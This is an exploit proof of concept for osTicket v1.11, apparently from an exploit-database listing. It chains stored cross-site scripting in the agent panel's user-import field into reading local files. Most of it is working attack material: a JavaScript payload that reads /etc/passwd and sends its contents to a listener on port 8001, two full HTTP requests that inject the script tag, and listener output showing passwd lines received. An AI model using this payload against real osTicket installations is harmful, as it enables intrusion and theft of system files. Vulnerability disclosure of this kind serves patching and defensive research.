# Exploit Title: osTicket v1.11 - Cross-Site Scripting to Local File Inclusion # Date: 09.04.2019 # Exploit Author: Özkan Mustafa Akkuş (AkkuS) @ehakkus # Contact: https://pentest.com.tr # Vendor Homepage: https://osticket.com # Software Link: https://github.com/osTicket/osTicket # References: https://github.com/osTicket/osTicket/pull/4869 # https://pentest.com.tr/exploits/osTicket-v1-11-XSS-to-LFI.html # Version: v1.11 # Category: Webapps # Tested on: XAMPP for Linux # Description: This is exploit proof of concept as XSS attempt can # lead to an LFI (Local File Inclusion) attack at osTicket. ################################################################## # PoC # There are two different XSS vulnerabilities in the "Import" field on the Agent Panel - User Directory field. This vulnerability causes a different vulnerability. The attacker can run the malicious JS file that he uploads in the XSS vulnerability. Uploaded JS files can be called clear text. Therefore, attackers do not have to use a different server to perform an attack. Then it is possible to create "Local File Inclusion" vulnerability too. The attacker can upload a JS file as follows. ------------------------------------------------------------------ function readTextFile(file) { var rawFile = new XMLHttpRequest(); rawFile.open("GET", file, false); rawFile.onreadystatechange = function () { if(rawFile.readyState === 4) { if(rawFile.status === 200 || rawFile.status == 0) { var allText = rawFile.responseText; allText.src = 'http://localhost:8001' + rawFile.responseText; document.body.appendChild(allText); } } } rawFile.send(null); } readTextFile("/etc/passwd"); ------------------------------------------------------------------ # Smilar JS File Link; /upload/file.php?key=y3cxcoxqv8r3miqczzj5ar8rhm1bhcbm &expires=1554854400&signature=be5cea87c37d7971e0c54164090a391066ecbaca&id=36" After this process, we can run the JS file in XSS vulnerability. # Our First Request for XSS to LFI; ------------------------------------------------------------------ POST /upload/scp/users.php?do=import-users Host: localhost Content-Type: multipart/form-data; boundary=---------------------------[] -----------------------------[] Content-Disposition: form-data; name="__CSRFToken__" 8f6f85b8d76218112a53f909692f3c4ae7768b39 -----------------------------[] Content-Disposition: form-data; name="pasted" -----------------------------[] Content-Disposition: form-data; name="import"; filename="users-20190408.csv" Content-Type: text/csv <script src=" http://localhost/4/osTicket-v1.11/upload/file.php?key=y3cxcoxqv8r3miqczzj5ar8rhm1bhcbm&expires=1554854400&signature=be5cea87c37d7971e0c54164090a391066ecbaca&id=36 "></script> -----------------------------[]-- # Our Second Request for XSS to LFI; ------------------------------------------------------------------ POST /upload/scp/ajax.php/users/import HTTP/1.1 Host: localhost __CSRFToken__=8f6f85b8d76218112a53f909692f3c4ae7768b39&pasted=%3Cscript+src%3D%22http%3A%2F%2Flocalhost%2F4%2FosTicket-v1.11%2Fupload%2Ffile.php%3Fkey%3Dy3cxcoxqv8r3miqczzj5ar8rhm1bhcbm%26expires%3D1554854400%26signature%3Dbe5cea87c37d7971e0c54164090a391066ecbaca%26id%3D36%22%3E%3C%2Fscript%3E&undefined=Import+Users ------------------------------------------------------------------ # After sending XSS requests, # When the attacker listens to port 8001, he/she will receive a request as follows. root@AkkuS:~# python -m SimpleHTTPServer 8001 Serving HTTP on 0.0.0.0 port 8001 ... 127.0.0.1 - - [09/Apr/2019 11:54:42] "GET / HTTP/1.1" 200 - 127.0.0.1 - - [09/Apr/2019 11:54:42] "GET /root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin...[More]